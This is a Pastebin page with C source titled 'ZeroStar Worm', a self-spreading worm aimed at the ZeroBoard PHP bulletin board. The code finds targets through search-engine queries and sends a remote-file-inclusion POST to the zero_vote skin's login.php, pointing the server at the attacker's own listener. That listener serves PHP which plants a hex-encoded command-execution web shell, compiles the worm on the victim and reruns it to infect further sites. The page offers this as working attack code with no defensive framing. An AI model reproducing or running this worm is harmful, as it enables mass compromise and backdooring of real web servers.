API tools faq
paste
Advertisement
FlyFar

ZeroStar Worm- ZeroBoard Vulnerability Exploit

FlyFar
Feb 2nd, 2023
859
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 19.36 KB | Cybersecurity | 0 0
raw download clone embed print report
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <stdlib.h>
  4. #include <sys/socket.h>
  5. #include <netdb.h>
  6. #include <netinet/in.h>
  7. #include <signal.h>
  8. #include <sys/ioctl.h>
  9. #include <net/if.h>
  10. #ifdef __sun__
  11. #include <sys/sockio.h>
  12. #endif /* __SunOS__ */
  13.  
  14. #define DEBUG_ING
  15. #undef DEBUG_ING
  16.  
  17. #define TMP_FILE "./tmp.core"
  18. #define CMD_FILE "./cmd.core"
  19. #define PRC_FILE "./proc.core"
  20. #define SCS (0)
  21. #define MIN (1)
  22.  
  23. #ifdef __linux__
  24. #define DEF_ETH "eth0"
  25. #else
  26. #ifdef __FreeBSD__
  27. #define DEF_ETH "ed0"
  28. #else
  29. #ifdef __sun__
  30. #define DEF_ETH "hme0"
  31. #endif
  32. #endif
  33. #endif
  34.  
  35. #define MAX_BUF (0x0000ffff)
  36. #define FIR_BUF (0x00000800)
  37. #define SEC_BUF (0x00000400)
  38. #define THR_BUF (0x00000200)
  39. #define MIN_BUF (0x00000100)
  40.  
  41. #define VENDOR "nzeo.com"
  42.  
  43. // search rule
  44. #define FD_RULE_0 "/zboard/zboard.php"
  45. #define FD_RULE_1 "/zb41/zboard.php"
  46. #define FD_RULE_2 "/bbs/zboard.php"
  47. #define FD_RULE_3 "/zb/zboard.php"
  48. #define FD_RULE_4 "/zb40/zboard.php"
  49. #define FD_RULE_5 "/board/zboard.php"
  50. #define FD_RULE_6 "zboard.php"
  51. #define FD_RULE_7 "zboard.ph"
  52.  
  53. // pattern
  54. #define FD_PATH_0 "/zboard/skin/zero_vote/login.php"
  55. #define FD_PATH_1 "/zb41/skin/zero_vote/login.php"
  56. #define FD_PATH_2 "/bbs/skin/zero_vote/login.php"
  57. #define FD_PATH_3 "/zb/skin/zero_vote/login.php"
  58. #define FD_PATH_4 "/zb40/skin/zero_vote/login.php"
  59. #define FD_PATH_5 "/board/skin/zero_vote/login.php"
  60. #define FD_PATH_6 "/skin/zero_vote/login.php"
  61.  
  62. #define RESULT_OK "200 OK"
  63. #define MAKE_STR1 "BACKDOOR MAKE SUCCESS"
  64. #define MAKE_STR2 "ZBCODE MAKE SUCCESS"
  65. #define DELT_STR1 "BACKDOOR DELETE SUCCESS"
  66. #define DELT_STR2 "ZBCODE DELETE SUCCESS"
  67.  
  68. #define DEF_PORT (31337)
  69. #define CONN_PORT (80)
  70. #define DEF_TIME (20)
  71.  
  72. int set_sock(char *sc_gt_host,int port,int type);
  73. void re_connt_lm(int st_sock_va,int type);
  74. int proc_r();
  75. void t_kill();
  76. void sf_exit();
  77. int g_ip(char *ip);
  78. int make_cmd_file();
  79. int filter_f(char *test_bf,int tnum);
  80.  
  81. int sock;
  82.  
  83. struct tg_rl
  84. {
  85.  int r_num;
  86.  char *r_str;
  87.  char *url_str;
  88. };
  89.  
  90. #define TARGET_NUM (7)
  91. #define SEARCH_NUM (4)
  92.  
  93. struct tg_rl __tg_rule_va[]=
  94. {
  95.  {0,FD_RULE_0,FD_PATH_0},
  96.  {1,FD_RULE_1,FD_PATH_1},
  97.  {2,FD_RULE_2,FD_PATH_2},
  98.  {3,FD_RULE_3,FD_PATH_3},
  99.  {4,FD_RULE_4,FD_PATH_4},
  100.  {5,FD_RULE_5,FD_PATH_5},
  101.  {6,FD_RULE_6,FD_PATH_6},
  102.  {7,FD_RULE_7,FD_PATH_6},
  103.  {8,NULL,NULL}
  104. };
  105.  
  106. struct search_rule
  107. {
  108.  int num;
  109.  u_char *url;
  110.  int maxnum;
  111.  int defnum;
  112.  u_char *http_head;
  113. };
  114.  
  115. struct search_rule search_va[]=
  116. {
  117.  {0,"www.google.com",990,10,"http://"},
  118.  {1,"kr.search.yahoo.com",990,15,"http://"},
  119.  {2,"search.nate.com",480,10,"http://"},
  120.  {3,"search.lycos.com",990,10,"//"},
  121.  {4,"kr.altavista.com",1000,10,"//"},
  122.  {5,NULL,0,0,NULL}
  123. };
  124.  
  125. void t_kill()
  126. {
  127. #ifdef DEBUG_ING
  128.  fprintf(stdout,"time out\n");
  129. #endif
  130.  close(sock);
  131.  sock=-1;
  132.  signal(SIGALRM,SIG_DFL);
  133.  return;
  134. }
  135.  
  136. void sf_exit()
  137. {
  138. #ifdef DEBUG_ING
  139.  fprintf(stdout,"safe exit\n");
  140. #endif
  141.  close(sock);
  142.  kill((int)proc_r(),9);
  143.  unlink(TMP_FILE);
  144.  unlink(CMD_FILE);
  145.  unlink(PRC_FILE);
  146.  exit(-1);
  147. }
  148.  
  149. int main(int argc,char *argv[])
  150. {
  151.  FILE *fp;
  152.  
  153.  int tnum=(SCS);
  154.  int chk=(SCS);
  155.  int gogo=(SCS);
  156.  int whgl=(SCS);
  157.  int qnum=(SCS);
  158.  int tgrl_sl=(MIN);
  159.  int _conn_num=(SCS);
  160.  int port=(CONN_PORT);
  161.  int def_port=(DEF_PORT);
  162.  int sc_gt_sock;
  163.  int host_chk=(SCS);
  164.  
  165.  u_char *gg_ptr=NULL;
  166.  u_char *t_ptr=NULL;
  167.  u_char __zr_bf[(MAX_BUF)];
  168.  u_char *port_ptr=NULL;
  169.  
  170.  char pkt[(FIR_BUF)];
  171.  char host[(SEC_BUF)];
  172.  char url[(SEC_BUF)];
  173.  char test_bf[(MAX_BUF)];
  174.  char req_t_bf[(THR_BUF)];
  175.  char ip[(MIN_BUF)];
  176.  char atk_code[(MIN_BUF)];
  177.  
  178.  signal(SIGINT,sf_exit);
  179.  signal(SIGTSTP,sf_exit);
  180.  
  181.  while((whgl=getopt(argc,argv,"S:s:T:t:Q:q:P:p:H:h:U:u:"))!=EOF)
  182.  {
  183.   extern char *optarg;
  184.   switch(whgl)
  185.   {
  186.    case 'S':
  187.    case 's':
  188.     tnum=atoi(optarg);
  189.     if(SEARCH_NUM<tnum)
  190.     {
  191.      fprintf(stderr,"target error\n");
  192.      exit(-1);
  193.     }
  194.     break;
  195.  
  196.    case 'T':
  197.    case 't':
  198.     tgrl_sl=atoi(optarg);
  199.     if(TARGET_NUM<tgrl_sl)
  200.     {
  201.      fprintf(stderr,"target error\n");
  202.      exit(-1);
  203.     }
  204.     break;
  205.  
  206.    case 'Q':
  207.    case 'q':
  208.     qnum=atoi(optarg);
  209.     break;
  210.    
  211.    case 'P':
  212.    case 'p':
  213.     def_port=atoi(optarg);
  214.     break;
  215.    
  216.    case 'H':
  217.    case 'h':
  218.     memset((char *)host,0,sizeof(host));
  219.     strncpy(host,optarg,sizeof(host)-1);
  220.     host_chk++;
  221.     break;
  222.    
  223.    case 'U':
  224.    case 'u':
  225.     memset((char *)url,0,sizeof(url));
  226.     strncpy(url,optarg,sizeof(url)-1);
  227.     host_chk++;
  228.     break;
  229.    
  230.    default:
  231.     exit(-1);
  232.   }
  233.  }
  234.  
  235.  (int)make_cmd_file();
  236.  
  237.  if(fork()==0)
  238.  {
  239.   signal(SIGALRM,SIG_IGN);
  240.   for(whgl=0;whgl<argc;whgl++)
  241.   {
  242.    memset((char *)argv[whgl],0,strlen(argv[whgl]));
  243.   }
  244.   strcpy(argv[0],"receive mode process");
  245.   if((fp=fopen(PRC_FILE,"w"))==NULL)
  246.   {
  247.    sf_exit();
  248.   }
  249.   fprintf(fp,"%d\n",getpid());
  250.   fclose(fp);
  251.   sc_gt_sock=(int)set_sock(NULL,def_port,1);
  252.   (void)re_connt_lm(sc_gt_sock,0);
  253.  }
  254.  else
  255.  {
  256.   for(whgl=0;whgl<argc;whgl++)
  257.   {
  258.    memset((char *)argv[whgl],0,strlen(argv[whgl]));
  259.   }
  260.   strcpy(argv[0],"scanning mode process");
  261.  
  262.   switch(host_chk)
  263.   {
  264.    case 1:
  265. #ifdef DEBUG_ING
  266.     fprintf(stdout,"argument error\n");
  267. #endif
  268.     sf_exit();
  269.     break;
  270.    
  271.    case 2:
  272.     goto ok;
  273.     break;
  274.   }
  275.  
  276. #ifdef DEBUG_ING
  277.   fprintf(stdout,"search url: %s\n",search_va[tnum].url);
  278. #endif
  279.   for(_conn_num=qnum; _conn_num< search_va[tnum].maxnum; _conn_num += (search_va[tnum].defnum))
  280.   {
  281. conn: if((sock=(int)set_sock(search_va[tnum].url,(CONN_PORT),0))==-1)
  282.    {
  283.     goto conn;
  284.    }
  285.  
  286.    memset((char *)req_t_bf,0,sizeof(req_t_bf));
  287.    switch(search_va[tnum].num)
  288.    {
  289.     case 0:
  290.      snprintf(req_t_bf,sizeof(req_t_bf)-1,
  291.       "GET /search?q=%s"
  292.       "&hl=ko&lr=&ie=UTF-8&start=%d&sa=N "
  293.       "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num);
  294.      break;
  295.     case 1:
  296.      snprintf(req_t_bf,sizeof(req_t_bf)-1,
  297.       "GET /search/web?p=%s&b=%d "
  298.       "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num);
  299.      break;
  300.     case 2:
  301.      snprintf(req_t_bf,sizeof(req_t_bf)-1,
  302.       "GET /webpage/search.asp?query=%s&start=%d "
  303.       "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num);
  304.      break;
  305.     case 3:
  306.      snprintf(req_t_bf,sizeof(req_t_bf)-1,
  307.       "GET /default.asp?query=%s&first=%d&pmore=more "
  308.       "HTTP/1.0\r\n"
  309.       "Accept-Language: ko\r\n"
  310.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n"
  311.       "Host: %s\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url);
  312.      break;
  313.     case 4:
  314.      snprintf(req_t_bf,sizeof(req_t_bf)-1,
  315.       "GET /web/results?itag=wrx&q=%s&stq=%d "
  316.       "HTTP/1.0\r\n"
  317.       "Accept-Language: ko\r\n"
  318.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n"
  319.       "Host: %s\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url);
  320.      break;
  321.    }
  322.    send(sock,req_t_bf,strlen(req_t_bf),0);
  323.    whgl=(SCS);
  324.  
  325.    if((fp=fopen(TMP_FILE,"w"))==NULL)
  326.    {
  327.     return(-1);
  328.    }
  329.    signal(SIGALRM,SIG_IGN);
  330.    alarm(MAX_BUF);
  331.    
  332.    memset((char *)test_bf,0,sizeof(test_bf));
  333.    while(recv(sock,test_bf,sizeof(test_bf)-1,0))
  334.    {
  335.     fprintf(fp,"%s",test_bf);
  336.     memset((char *)test_bf,0,sizeof(test_bf));
  337.    }
  338.    fclose(fp);
  339.    close(sock);
  340.  
  341.    if((fp=fopen(TMP_FILE,"r"))==NULL)
  342.    {
  343.     return(-1);
  344.    }
  345.  
  346.    while(fgets(__zr_bf,sizeof(__zr_bf)-1,fp))
  347.    {
  348.     gg_ptr=__zr_bf;
  349.  
  350.     while(MIN)
  351.     {
  352.      t_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head);
  353.      gg_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head) + strlen(search_va[tnum].http_head);
  354.  
  355.      if(t_ptr!=NULL)
  356.      {
  357.       memset((char *)test_bf,0,sizeof(test_bf));
  358.       whgl=(SCS);
  359.       chk=(SCS);
  360.  
  361.       for(gogo=0;gogo<strlen(t_ptr);gogo++)
  362.       {
  363.        if(chk)
  364.        {
  365.         if(t_ptr[gogo]=='>')
  366.          chk=0;
  367.        }
  368.        else {
  369.         if(t_ptr[gogo]==' ')
  370.          continue;
  371.         else if(t_ptr[gogo]=='<')
  372.          chk=1;
  373.         else test_bf[whgl++]=t_ptr[gogo];
  374.        }
  375.       }
  376.  
  377.       if(!strstr(test_bf,__tg_rule_va[tgrl_sl].r_str))
  378.        continue;
  379.       else t_ptr=(char *)strstr(test_bf,__tg_rule_va[tgrl_sl].r_str);
  380.  
  381.       if(t_ptr!=NULL)
  382.        t_ptr[0]='\0';
  383.       else continue;
  384.  
  385.       if(filter_f(test_bf,tnum))
  386.       {
  387.        t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head);
  388.        if(strstr(t_ptr,search_va[tnum].http_head))
  389.         continue;
  390.  
  391.        memset((char *)host,0,sizeof(host));
  392.        memset((char *)url,0,sizeof(url));
  393.  
  394.        chk=(SCS);
  395.  
  396.        if(strstr(test_bf,search_va[tnum].http_head))
  397.        {
  398.         t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + strlen(search_va[tnum].http_head);
  399.         port=(CONN_PORT);
  400.  
  401.         for(whgl=0;whgl<strlen(t_ptr)+1;whgl++)
  402.         {
  403.          if(t_ptr[whgl]=='/')
  404.          {
  405.           for(gogo=0;whgl<strlen(t_ptr);whgl++)
  406.            url[gogo++]=t_ptr[whgl];
  407.           strcat(url,__tg_rule_va[tgrl_sl].url_str);
  408.           break;
  409.          }
  410.          else if(t_ptr[whgl]=='\0')
  411.          {
  412.           strncpy(url,__tg_rule_va[tgrl_sl].url_str,sizeof(url)-1);
  413.           break;
  414.          }
  415.          else if(t_ptr[whgl]==':')
  416.          {
  417.           port_ptr=(char *)strstr(t_ptr,":")+1;
  418.           port=atoi(port_ptr);
  419.          }
  420.          else host[chk++]=t_ptr[whgl];
  421.         }
  422. #ifdef DEBUG_ING
  423.         fprintf(stdout,"Total:%s,URL:%s,HOST:%s,PORT:%d\n",test_bf,url,host,port);
  424. #endif
  425. ok:
  426.         sock=set_sock(host,port,0);
  427.         if(sock==-1)
  428.          continue;
  429.         else {
  430.          memset((char *)ip,0,sizeof(ip));
  431.          memset((char *)atk_code,0,sizeof(atk_code));
  432.          memset((char *)pkt,0,sizeof(pkt));
  433.  
  434.          (int)g_ip(ip);
  435.          snprintf(atk_code,sizeof(atk_code)-1,"dir=http://%s:%d/\r\n",ip,def_port);
  436.          snprintf(pkt,sizeof(pkt)-1,
  437.           "POST http://%s%s HTTP/1.0\r\n"
  438.           "Content-Type: application/x-www-form-urlencoded\r\n"
  439.           "Content-Length: %d\r\n"
  440.           "Host: %s\r\n\r\n%s\r\n",host,url,strlen(atk_code),host,atk_code);
  441.          send(sock,pkt,strlen(pkt),0);
  442.          memset((char *)pkt,0,sizeof(pkt));
  443.          recv(sock,pkt,sizeof(pkt)-1,0);
  444. #ifdef DEBUG_ING
  445.          if(strstr(pkt,RESULT_OK))
  446.          {
  447.           if(strstr(pkt,MAKE_STR1))
  448.            fprintf(stdout,"%s\n",MAKE_STR1);
  449.           if(strstr(pkt,MAKE_STR2))
  450.            fprintf(stdout,"%s\n",MAKE_STR2);
  451.           if(strstr(pkt,DELT_STR1))
  452.            fprintf(stdout,"%s\n",DELT_STR1);
  453.           if(strstr(pkt,DELT_STR2))
  454.            fprintf(stdout,"%s\n",DELT_STR2);
  455.           printf("%s: %s\n",RESULT_OK,host);
  456.          }
  457. #endif
  458.         }
  459.         close(sock);
  460.  
  461.         if(host_chk)
  462.         {
  463.          sf_exit();
  464.         }
  465.        }
  466.       }
  467.      }
  468.      else break;
  469.     }
  470.     memset((char *)__zr_bf,0,sizeof(__zr_bf));
  471.    }
  472.    fclose(fp);
  473.    unlink(TMP_FILE);
  474.   }
  475.   sf_exit();
  476.  }
  477. }
  478.  
  479. int set_sock(char *sc_gt_host,int port,int type)
  480. {
  481.  struct sockaddr_in sock_st;
  482.  struct sockaddr_in t_st;
  483.  int nw_gt_sock,s_s;
  484.  struct hostent *hst_etr;
  485.  int sc_gt_sock;
  486.  int t_c=0;
  487.  char t_b[(SEC_BUF)];
  488.  FILE *fp;
  489.  char http_rq[]="HTTP/1.1 200 OK\r\n\r\n";
  490.  
  491.  if(!type){
  492.   signal(SIGALRM,t_kill);
  493.   alarm(DEF_TIME);
  494.  
  495.   if((hst_etr=gethostbyname(sc_gt_host))==NULL)
  496.   {
  497.    return(-1);
  498.   }
  499.   if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  500.   {
  501.    return(-1);
  502.   }
  503.   sock_st.sin_family=(AF_INET);
  504.   sock_st.sin_port=htons(port);
  505.   sock_st.sin_addr=*((struct in_addr *)hst_etr->h_addr);
  506.   memset(&(sock_st.sin_zero),0,8);
  507.  
  508.   if(connect(sock,(struct sockaddr *)&sock_st,sizeof(struct sockaddr))==-1)
  509.   {
  510.    close(sock);
  511.    return(-1);
  512.   }
  513.   return(sock);
  514.  }
  515.  else{
  516.   if((sc_gt_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  517.   {
  518.    return(-1);
  519.   }
  520.  
  521.   sock_st.sin_family=(AF_INET);
  522.   sock_st.sin_port=htons(port);
  523.   sock_st.sin_addr.s_addr=(INADDR_ANY);
  524.   memset(&(sock_st.sin_zero),0,8);
  525.  
  526.   if(bind(sc_gt_sock,(struct sockaddr *)&sock_st,sizeof(struct sockaddr))==-1)
  527.   {
  528.    close(sc_gt_sock);
  529.    return(-1);
  530.   }
  531. #define BK_LG 10
  532.   if(listen(sc_gt_sock,(BK_LG))==-1){
  533.    close(sc_gt_sock);
  534.    return(-1);
  535.   }
  536.   while(1){
  537.    s_s=sizeof(struct sockaddr_in);
  538.    if((nw_gt_sock=accept(sc_gt_sock,(struct sockaddr *)&t_st,&s_s))==-1)
  539.    {
  540.     close(nw_gt_sock);
  541.     close(sc_gt_sock);
  542.     return(-1);
  543.    }
  544.    while(recv(nw_gt_sock,&t_c,1,0)){
  545.     if(t_c==0x0d){
  546.      recv(nw_gt_sock,&t_c,1,0);
  547.      if(t_c==0x0a){
  548.       recv(nw_gt_sock,&t_c,1,0);
  549.       if(t_c==0x0d){
  550.        recv(nw_gt_sock,&t_c,1,0);
  551.        if(t_c==0x0a){
  552.         break;
  553.        }
  554.       }
  555.      }
  556.     }
  557.    }
  558.  
  559.    send(nw_gt_sock,http_rq,strlen(http_rq),0);
  560.    if((fp=fopen(CMD_FILE,"r"))==NULL){
  561.     close(nw_gt_sock);
  562.     close(sc_gt_sock);
  563.     return(-1);
  564.    }
  565.    memset((char *)t_b,0,sizeof(t_b));
  566.    while(fgets(t_b,sizeof(t_b)-1,fp)){
  567.     send(nw_gt_sock,t_b,strlen(t_b),0);
  568.    }
  569.    fclose(fp);
  570.    close(nw_gt_sock);
  571.    continue;
  572.   }
  573.   close(sc_gt_sock);
  574.   return(-1);
  575.  }
  576. }
  577.  
  578. void re_connt_lm(int st_sock_va,int type)
  579. {
  580.  if(st_sock_va==-1)
  581.  {
  582.   if(!type){
  583.    kill(getppid(),9); // parent
  584.   }
  585.   kill((int)proc_r(),9); // child
  586.   sf_exit();
  587.  }
  588. }
  589.  
  590. int proc_r(){
  591.  FILE *fp;
  592.  int proc_n;
  593.  if((fp=fopen(PRC_FILE,"r"))==NULL){
  594.   exit(-1); // child check.
  595.  }
  596.  fscanf(fp,"%16d",&proc_n);
  597.  fclose(fp);
  598.  return proc_n;
  599. }
  600.  
  601. int g_ip(char *ip)
  602. {
  603.  int sock;
  604.  struct ifreq ifpq;
  605.  struct sockaddr_in *pq;
  606.  
  607.  memset(&ifpq,0,sizeof(ifpq));
  608.  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  609.  {
  610.   return(-1);
  611.  }
  612.  pq=(struct sockaddr_in *)&ifpq.ifr_addr;
  613.  pq->sin_family=AF_INET;
  614.  
  615.  memcpy(ifpq.ifr_name,(DEF_ETH),sizeof(ifpq.ifr_name));
  616.  if(ioctl(sock,SIOCGIFADDR,&ifpq)==0)
  617.  {
  618.   memset((char *)ip,0,(MIN_BUF));
  619.   snprintf(ip,(MIN_BUF)-1,"%s",inet_ntoa(pq->sin_addr));
  620.  }
  621.  return 0;
  622. }
  623.  
  624. #define BACKDOOR_PATH "zblog.php"
  625. #define CODE_PATH "zbcode"
  626. #define CODE_PATH_SRC "zbcode.c"
  627.  
  628. int make_cmd_file()
  629. {
  630.  unsigned long w1=0;
  631.  FILE *fp;
  632.  FILE *pf;
  633.  
  634.  if((fp=fopen(CMD_FILE,"w"))==NULL)
  635.  {
  636.   return(-1);
  637.  }
  638.  
  639.  fprintf(fp,"<?\n"
  640.   "chdir('../../');\n\n"
  641.   "if(($fp=fopen('%s','r'))!=NULL)\n"
  642.   "{\n"
  643.   "$pnum=fread($fp,32);\n"
  644.   "fclose($fp);\n"
  645.   "$pnum=str_replace(\"\\n\",\"\",$pnum);\n"
  646.   "if(($fp=fopen('/proc/'.$pnum.'/stat','r'))!=NULL)\n"
  647.   "{\n"
  648.   "exit;\n"
  649.   "}\n"
  650.   "}\n\n"
  651.   "$cont=\"\\x3c\\x3f\\x0a\\x09\\x65\\x63\\x68\\x6f\\x20\\x27\\x3c\\x46\".\n"
  652.   "\"\\x4f\\x52\\x4d\\x20\\x41\\x43\\x54\\x49\\x4f\\x4e\\x3d\\x24\".\n"
  653.   "\"\\x50\\x48\\x50\\x5f\\x53\\x45\\x4c\\x46\\x20\\x4d\\x45\\x54\".\n"
  654.   "\"\\x48\\x4f\\x44\\x3d\\x50\\x4f\\x53\\x54\\x3e\\x27\\x3b\\x0a\".\n"
  655.   "\"\\x09\\x65\\x63\\x68\\x6f\\x20\\x27\\x3c\\x49\\x4e\\x50\\x55\".\n"
  656.   "\"\\x54\\x20\\x54\\x59\\x50\\x45\\x3d\\x48\\x49\\x44\\x44\\x45\".\n"
  657.   "\"\\x4e\\x20\\x4e\\x41\\x4d\\x45\\x3d\\x63\\x6d\\x64\\x20\\x56\".\n"
  658.   "\"\\x41\\x4c\\x55\\x45\\x3d\\x24\\x63\\x6f\\x6d\\x6d\\x61\\x6e\".\n"
  659.   "\"\\x64\\x3e\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x3e\\x3c\\x50\\x52\".\n"
  660.   "\"\\x45\\x3e\\x27\\x3b\\x0a\\x09\\x24\\x63\\x6f\\x6d\\x6d\\x61\".\n"
  661.   "\"\\x6e\\x64\\x3d\\x73\\x74\\x72\\x5f\\x72\\x65\\x70\\x6c\\x61\".\n"
  662.   "\"\\x63\\x65\\x28\\x27\\x5c\\x5c\\x27\\x2c\\x27\\x27\\x2c\\x24\".\n"
  663.   "\"\\x63\\x6f\\x6d\\x6d\\x61\\x6e\\x64\\x29\\x3b\\x0a\\x09\\x65\".\n"
  664.   "\"\\x63\\x68\\x6f\\x20\\x60\\x24\\x63\\x6f\\x6d\\x6d\\x61\\x6e\".\n"
  665.   "\"\\x64\\x60\\x3b\\x0a\\x3f\\x3e\\x0a\";\n\n"
  666.   "$fp=fopen('%s','w');\n"
  667.   "fputs($fp,$cont);\n"
  668.   "fclose($fp);\n\n",PRC_FILE,BACKDOOR_PATH);
  669.  
  670.  if((pf=fopen(CODE_PATH,"r"))==NULL)
  671.  {
  672.   return(-1);
  673.  }
  674.  
  675.  fprintf(fp,"$cont=\"");
  676.  while(fread(&w1,1,1,pf))
  677.  {
  678.   fprintf(fp,"\\x%02x",w1);
  679.  }
  680.  fclose(pf);
  681.  fprintf(fp,"\";\n\n");
  682.  
  683.  fprintf(fp,"$fp=fopen('%s','w');\n"
  684.   "fputs($fp,$cont);\n"
  685.   "fclose($fp);\n\n",CODE_PATH);
  686.  if((pf=fopen(CODE_PATH_SRC,"r"))==NULL)
  687.  {
  688.   return(-1);
  689.  }
  690.  fprintf(fp,"$cont=\"");
  691.  while(fread(&w1,1,1,pf))
  692.  {
  693.   fprintf(fp,"\\x%02x",w1);
  694.  }
  695.  fclose(pf);
  696.  fprintf(fp,"\";\n\n");
  697.  
  698.  fprintf(fp,"$fp=fopen('%s','w');\n"
  699.   "fputs($fp,$cont);\n"
  700.   "fclose($fp);\n\n",CODE_PATH_SRC);
  701.  fprintf(fp,"$RES=`gcc -o %s %s`;\n\n",CODE_PATH,CODE_PATH_SRC);
  702.  
  703.  fprintf(fp,"chmod('%s',0755);\n",CODE_PATH);
  704.  
  705.  fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL){\n",BACKDOOR_PATH);
  706.  fprintf(fp,"echo \"%s\\n\";\n",MAKE_STR1);
  707.  fprintf(fp,"} fclose($fp);\n\n");
  708.  fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL){\n",CODE_PATH);
  709.  fprintf(fp,"echo \"%s\\n\";\n",MAKE_STR2);
  710.  fprintf(fp,"} fclose($fp);\n\n");
  711.  
  712. #if 1
  713.  fprintf(fp,"$fnum=(rand()%%%d);\n",TARGET_NUM);
  714.  fprintf(fp,"$snum=(rand()%%%d);\n",SEARCH_NUM);
  715.  fprintf(fp,"$randnum=(rand()%400);\n");
  716.  
  717.  fprintf(fp,"while(1)\n{\n");
  718.  fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL)\n"
  719.   "{\n"
  720.   "$pnum=fread($fp,32);\n"
  721.   "fclose($fp);\n"
  722.   "$pnum=str_replace(\"\\n\",\"\",$pnum);\n"
  723.   "if(($fp=fopen('/proc/'.$pnum.'/stat','r'))!=NULL)\n"
  724.   "{\n"
  725.   "exit;\n"
  726.   "}\n"
  727.   "}\n\n",PRC_FILE);
  728.  
  729.  fprintf(fp,"$port=(rand()%%65500);\n");
  730.  fprintf(fp,"if($port>1024){\n");
  731.  fprintf(fp,"exec(\"./%s -t $fnum -p $port -s $snum -q $randnum\");\n",CODE_PATH);
  732.  fprintf(fp,"}\n}\n");
  733. #else
  734.  fprintf(fp,"unlink('%s');\n",BACKDOOR_PATH);
  735.  fprintf(fp,"unlink('%s');\n",CODE_PATH);
  736.  fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",BACKDOOR_PATH);
  737.  fprintf(fp,"echo \"%s\\n\";\n",DELT_STR1);
  738.  fprintf(fp,"} else { fclose($fp);\n");
  739.  fprintf(fp,"$result=`rm -f %s`;\n$result=`del %s`;\n",BACKDOOR_PATH,BACKDOOR_PATH);
  740.  fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",BACKDOOR_PATH);
  741.  fprintf(fp,"echo \"%s\\n\";\n",DELT_STR1);
  742.  fprintf(fp,"}\n}\n");
  743.  fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",CODE_PATH);
  744.  fprintf(fp,"echo \"%s\\n\";\n",DELT_STR2);
  745.  fprintf(fp,"} else { fclose($fp);\n");
  746.  fprintf(fp,"$result=`rm -f %s`;\n$result=`del %s`;\n",CODE_PATH,CODE_PATH);
  747.  fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",CODE_PATH);
  748.  fprintf(fp,"echo \"%s\\n\";\n",DELT_STR2);
  749.  fprintf(fp,"}\n}\n");
  750. #endif
  751.  fprintf(fp,"?>\n");
  752.  fclose(fp);
  753. }
  754.  
  755. int filter_f(char *test_bf,int tnum)
  756. {
  757.  switch(search_va[tnum].num)
  758.  {
  759.   case 0: /* google */
  760.    if(!strstr(test_bf,"google")&&!strstr(test_bf,"/search?q=cache:")
  761.     &&!strstr(test_bf,"<")&&!strstr(test_bf,">")
  762.     &&!strstr(test_bf,"%3F")&&!strstr(test_bf,"...")
  763.     &&!strstr(test_bf,VENDOR))
  764.    {
  765.     return 1;
  766.    }
  767.    else return 0;
  768.    break;
  769.    
  770.   case 1: /* yahoo */
  771.    if(!strstr(test_bf,"yahoo")&&!strstr(test_bf,"/cache.php?")
  772.     &&!strstr(test_bf,"<")&&!strstr(test_bf,">")
  773.     &&!strstr(test_bf,"search")&&!strstr(test_bf,".html%")
  774.     &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR))
  775.    {
  776.     return 1;
  777.    }
  778.    else return 0;
  779.    break;
  780.    
  781.   case 2: /* nate */
  782.    if(!strstr(test_bf,"nate")&&!strstr(test_bf,"RESULT")
  783.     &&!strstr(test_bf,"<")&&!strstr(test_bf,">")
  784.     &&!strstr(test_bf,"/search/")&&!strstr(test_bf,"%3F")
  785.     &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR))
  786.    {
  787.     return 1;
  788.    }
  789.    else return 0;
  790.    break;
  791.    
  792.   case 3: /* lycos */
  793.    if(!strstr(test_bf,"lycos")&&!strstr(test_bf,"<")
  794.     &&!strstr(test_bf,">")&&!strstr(test_bf,"%3F")
  795.     &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR))
  796.    {
  797.     return 1;
  798.    }
  799.    else return 0;
  800.    break;
  801.    
  802.   case 4: /* altavista */
  803.    if(!strstr(test_bf,"ref_")&&!strstr(test_bf,"<")
  804.     &&!strstr(test_bf,">")&&!strstr(test_bf,"%3f")
  805.     &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR))
  806.    {
  807.     return 1;
  808.    }
  809.    else return 0;
  810.    break;
  811.    
  812.   default:
  813.    return 0;
  814.    break;
  815.  }
  816.  return 0;
  817. }
  818.  
Tags: cplusplus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!